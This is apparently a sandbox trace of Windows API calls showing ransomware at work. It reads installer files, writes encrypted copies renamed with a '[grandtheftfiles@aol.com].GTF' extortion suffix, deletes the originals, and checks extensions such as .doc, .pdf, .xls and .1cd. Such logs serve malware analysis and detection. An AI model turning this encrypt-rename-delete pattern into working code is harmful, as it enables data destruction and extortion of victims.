	[0067.031] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0067.043] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=54456) returned 1
	[0067.043] CloseHandle (hObject=0x304) returned 1
	[0067.043] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80
	[0067.043] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0067.044] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.044] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.055] GetLastError () returned 0x0
	[0067.055] ReadFile (in: hFile=0x304, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xd4b8, lpOverlapped=0x0) returned 1
	[0067.058] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xd4c0, lpOverlapped=0x0) returned 1
	[0067.060] ReadFile (in: hFile=0x304, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.060] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0067.060] SetEndOfFile (hFile=0x314) returned 1
	[0067.060] CloseHandle (hObject=0x314) returned 1
	[0067.062] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.062] SetEndOfFile (hFile=0x304) returned 1
	[0067.064] CloseHandle (hObject=0x304) returned 1
	[0067.064] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.064] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1
	[0067.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.706] lstrlenW (lpString=".doc") returned 4
	[0067.706] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0067.706] lstrlenW (lpString=".docx") returned 5
	[0067.706] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0067.706] lstrlenW (lpString=".pdf") returned 4
	[0067.706] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0067.706] lstrlenW (lpString=".xls") returned 4
	[0067.706] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0067.706] lstrlenW (lpString=".xlsx") returned 5
	[0067.706] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0067.706] lstrlenW (lpString=".ppt") returned 4
	[0067.706] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0067.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.707] lstrlenW (lpString=".zip") returned 4
	[0067.707] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0067.707] lstrlenW (lpString=".rar") returned 4
	[0067.707] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0067.707] lstrlenW (lpString=".bz2") returned 4
	[0067.707] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0067.707] lstrlenW (lpString=".7z") returned 3
	[0067.707] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0067.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.707] lstrlenW (lpString=".dbf") returned 4
	[0067.707] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0067.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.707] lstrlenW (lpString=".1cd") returned 4
	[0067.707] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0067.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.707] lstrlenW (lpString=".jpg") returned 4
	[0067.707] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0067.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.707] lstrlenW (lpString=".doc") returned 4
	[0067.707] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0067.707] lstrlenW (lpString=".docx") returned 5
	[0067.707] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0067.707] lstrlenW (lpString=".pdf") returned 4
	[0067.707] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0067.707] lstrlenW (lpString=".xls") returned 4
	[0067.707] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0067.707] lstrlenW (lpString=".xlsx") returned 5
	[0067.707] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0067.707] lstrlenW (lpString=".ppt") returned 4
	[0067.707] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0067.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.707] lstrlenW (lpString=".zip") returned 4
	[0067.707] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0067.707] lstrlenW (lpString=".rar") returned 4
	[0067.708] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0067.708] lstrlenW (lpString=".bz2") returned 4
	[0067.708] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0067.708] lstrlenW (lpString=".7z") returned 3
	[0067.708] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0067.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.708] lstrlenW (lpString=".dbf") returned 4
	[0067.708] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0067.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.708] lstrlenW (lpString=".1cd") returned 4
	[0067.708] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0067.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0067.708] lstrlenW (lpString=".jpg") returned 4
	[0067.708] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0067.708] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0067.708] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0067.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0067.708] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=76818) returned 1
	[0067.708] CloseHandle (hObject=0x2fc) returned 1
	[0067.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80
	[0067.709] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0067.709] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.709] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0067.709] GetLastError () returned 0x0
	[0067.709] ReadFile (in: hFile=0x2fc, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x12c12, lpOverlapped=0x0) returned 1
	[0067.789] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x12c20, lpOverlapped=0x0) returned 1
	[0067.791] ReadFile (in: hFile=0x2fc, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.791] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0067.791] SetEndOfFile (hFile=0x310) returned 1
	[0067.791] CloseHandle (hObject=0x310) returned 1
	[0067.793] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.793] SetEndOfFile (hFile=0x2fc) returned 1
	[0067.795] CloseHandle (hObject=0x2fc) returned 1
	[0067.795] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.795] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1
	[0067.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.795] lstrlenW (lpString=".doc") returned 4
	[0067.795] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.795] lstrlenW (lpString=".docx") returned 5
	[0067.795] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.795] lstrlenW (lpString=".pdf") returned 4
	[0067.795] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.795] lstrlenW (lpString=".xls") returned 4
	[0067.795] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.795] lstrlenW (lpString=".xlsx") returned 5
	[0067.796] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.796] lstrlenW (lpString=".ppt") returned 4
	[0067.796] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.796] lstrlenW (lpString=".zip") returned 4
	[0067.796] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.796] lstrlenW (lpString=".rar") returned 4
	[0067.796] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.796] lstrlenW (lpString=".bz2") returned 4
	[0067.796] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.796] lstrlenW (lpString=".7z") returned 3
	[0067.796] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.796] lstrlenW (lpString=".dbf") returned 4
	[0067.796] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.796] lstrlenW (lpString=".1cd") returned 4
	[0067.796] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.796] lstrlenW (lpString=".jpg") returned 4
	[0067.796] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.796] lstrlenW (lpString=".doc") returned 4
	[0067.796] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.796] lstrlenW (lpString=".docx") returned 5
	[0067.796] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.796] lstrlenW (lpString=".pdf") returned 4
	[0067.796] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.796] lstrlenW (lpString=".xls") returned 4
	[0067.796] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.796] lstrlenW (lpString=".xlsx") returned 5
	[0067.796] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.796] lstrlenW (lpString=".ppt") returned 4
	[0067.796] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.796] lstrlenW (lpString=".zip") returned 4
	[0067.797] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.797] lstrlenW (lpString=".rar") returned 4
	[0067.797] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.797] lstrlenW (lpString=".bz2") returned 4
	[0067.797] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.797] lstrlenW (lpString=".7z") returned 3
	[0067.797] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.797] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.797] lstrlenW (lpString=".dbf") returned 4
	[0067.797] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.797] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.797] lstrlenW (lpString=".1cd") returned 4
	[0067.797] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.797] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0067.797] lstrlenW (lpString=".jpg") returned 4
	[0067.797] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.797] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0067.797] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0067.797] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0067.829] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=80254) returned 1
	[0067.829] CloseHandle (hObject=0x310) returned 1
	[0067.829] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80
	[0067.830] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.830] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0067.830] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.830] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.830] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.830] GetLastError () returned 0x0
	[0067.830] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1397e, lpOverlapped=0x0) returned 1
	[0068.278] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13980, lpOverlapped=0x0) returned 1
	[0068.281] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.281] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0068.281] SetEndOfFile (hFile=0x314) returned 1
	[0068.281] CloseHandle (hObject=0x314) returned 1
	[0068.283] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.283] SetEndOfFile (hFile=0x310) returned 1
	[0068.284] CloseHandle (hObject=0x310) returned 1
	[0068.285] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.285] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1
	[0068.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.285] lstrlenW (lpString=".doc") returned 4
	[0068.285] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.285] lstrlenW (lpString=".docx") returned 5
	[0068.285] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0068.285] lstrlenW (lpString=".pdf") returned 4
	[0068.285] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.285] lstrlenW (lpString=".xls") returned 4
	[0068.285] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.285] lstrlenW (lpString=".xlsx") returned 5
	[0068.285] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0068.285] lstrlenW (lpString=".ppt") returned 4
	[0068.285] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.285] lstrlenW (lpString=".zip") returned 4
	[0068.285] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.285] lstrlenW (lpString=".rar") returned 4
	[0068.286] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.286] lstrlenW (lpString=".bz2") returned 4
	[0068.286] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.286] lstrlenW (lpString=".7z") returned 3
	[0068.286] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.286] lstrlenW (lpString=".dbf") returned 4
	[0068.286] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.286] lstrlenW (lpString=".1cd") returned 4
	[0068.286] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.286] lstrlenW (lpString=".jpg") returned 4
	[0068.286] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.286] lstrlenW (lpString=".doc") returned 4
	[0068.286] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.286] lstrlenW (lpString=".docx") returned 5
	[0068.286] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0068.286] lstrlenW (lpString=".pdf") returned 4
	[0068.286] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.286] lstrlenW (lpString=".xls") returned 4
	[0068.286] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.286] lstrlenW (lpString=".xlsx") returned 5
	[0068.286] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0068.286] lstrlenW (lpString=".ppt") returned 4
	[0068.286] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.286] lstrlenW (lpString=".zip") returned 4
	[0068.286] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.286] lstrlenW (lpString=".rar") returned 4
	[0068.286] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.286] lstrlenW (lpString=".bz2") returned 4
	[0068.286] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.287] lstrlenW (lpString=".7z") returned 3
	[0068.287] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.287] lstrlenW (lpString=".dbf") returned 4
	[0068.287] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.287] lstrlenW (lpString=".1cd") returned 4
	[0068.287] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0068.287] lstrlenW (lpString=".jpg") returned 4
	[0068.287] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.287] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0068.287] lstrlenW (lpString="eula.rtf") returned 8
	[0068.287] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.287] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3069) returned 1
	[0068.287] CloseHandle (hObject=0x310) returned 1
	[0068.287] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80
	[0068.287] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.288] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.288] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.288] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.288] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0068.395] GetLastError () returned 0x0
